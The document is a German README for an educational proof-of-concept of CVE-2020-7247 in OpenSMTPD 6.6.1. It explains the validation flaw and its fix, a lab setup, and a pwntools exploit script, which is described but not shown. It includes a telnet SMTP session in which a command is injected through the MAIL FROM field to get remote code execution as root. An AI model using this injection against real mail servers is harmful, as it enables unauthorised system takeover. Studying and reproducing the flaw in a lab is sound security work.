
Proof-of-Concept für CVE-2020-7247 zu Bildungszwecken.
Dieses Repository soll als Grundlage dienen, um CVE-2020-7247 in einer kontrollierten und privaten Umgebung aufzusetzen und auszunutzen. Der gesamte veröffentlichte Code und die Konfiguration dienen ausschließlich dem Testen dieser Schwachstelle und nicht dem Missbrauch gegen Systeme, die nicht Ihnen gehören/für die Sie keine Berechtigung zur Ausnutzung haben. Der Besitzer dieses Repositories ist nicht für die Nutzung dieser Werkzeuge durch Dritte verantwortlich.
Das Hauptproblem im Code ist, dass die Mailvalidierung nicht funktioniert. Sie erlaubt potenziell gefährliche Zeichen in den Feldern MAIL FROM und RCPT TO.
Wenn der lokale Teil der Mailadresse ungültig ist, wird er als gültig behandelt, da der Code den Domain-Teil hinzufügt und ihn anschließend als gültig interpretiert. Dies ermöglicht dem Angreifer die Ausführung beliebigen Codes.
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Der Code sollte wie folgt aussehen, um sicher zu sein:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Opensmtpd führt im Anschluss einen sogenannten MDA-Befehl aus. Der Befehl dient der Zustellung von E-Mails und sieht wie folgt aus:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
Hier erkennt man bereits das Problem. mbox.from ist die Absenderadresse, die vollständig unter der Kontrolle des Angreifers steht.
Der Angreifer ist jedoch darauf beschränkt, nur Zeichen im Shellcode zu verwenden, die nicht in der folgenden Liste enthalten sind: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
Vollständige Offenlegung hier
Es steht einem frei, die Distribution für den Server zu wählen. Getestet wurde auf Ubuntu 18.04 LTS.
Führen Sie chmod +x setup.sh aus, um das Setup-Skript ausführbar zu machen. Sie können es mit einem normalen Benutzer verwenden, da ich sudo-Rechte nur dort eingefügt habe, wo sie benötigt werden. (Ihr Benutzer muss natürlich ein sudoer sein)
Das Setup-Skript installiert alle erforderlichen Abhängigkeiten für smtpd selbst und kopiert die Konfiguration an die jeweiligen Speicherorte.
Opensmtpd 6.6.1 wird installiert.
Falls Sie openstmpd manuell ausführen müssen oder das Skript einen Fehler aufweist, führen Sie Folgendes aus:
cd /usr/local/sbin
sudo smtpd
ODER
sudo smtpd -dv für Debug-Ausgabe
Die Konfiguration in diesem Repository ist nur für lokale Tests gedacht. Sie enthält keine externen Domains/fortgeschrittene Konfiguration.
aliases und smtpd.conf sind die beiden für die Einrichtung dieses Servers erforderlichen Konfigurationsdateien. Sie können sie nach Belieben ändern. Beachten Sie, dass die Konfiguration für meinen Testserver gedacht war. Mein Servername war ase (smtpd.conf @ase-Direktive) und mein Benutzername war ase (aliases-Benutzerkonfiguration).
Sie müssen <YOUR IP> in smtpd.conf durch die IP Ihres Servers ersetzen. Andernfalls startet smtpd nicht.
Falls Sie in dieser Umgebung auf IP-Adressen und Ports stoßen, hier einige wesentliche Fakten zu der von mir verwendeten Umgebung, damit Sie sie entsprechend ändern können:
asease192.168.1.4025192.168.1.311337Der bereitgestellte Exploit verwendet Python 3.x. Er nutzt die Abhängigkeit pwn. Um diesen Exploit zu verwenden, müssen Sie pwntools mittels pip3 install pwntools installieren.
Im Grunde nutzt der Exploit die Schwachstelle automatisch ohne Benutzereingriff aus. Der Exploit kann jedoch auch manuell ohne das Python-Skript durchgeführt werden.
Wie bereits erwähnt, kann der Exploit ohne das bereitgestellte Python-Skript ausgeführt werden. Sie müssen den SMTP-Prozess manuell durchlaufen. Dies kann entweder mit netcat oder telnet erfolgen.
Hier ein Beispiel, wie dies manuell durchgeführt werden kann:
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
Sie können auch das bereitgestellte Skript verwenden. Folgende Parameter sind möglich:
--targetHost gibt das Ziel an und ist erforderlich.--targetPort gibt den Zielport an und ist erforderlich.--customCommand gibt den einzuschleusenden Befehl an.shellcode.py dient als Beispiel, wie Remote-Shellcode aussehen kann. \
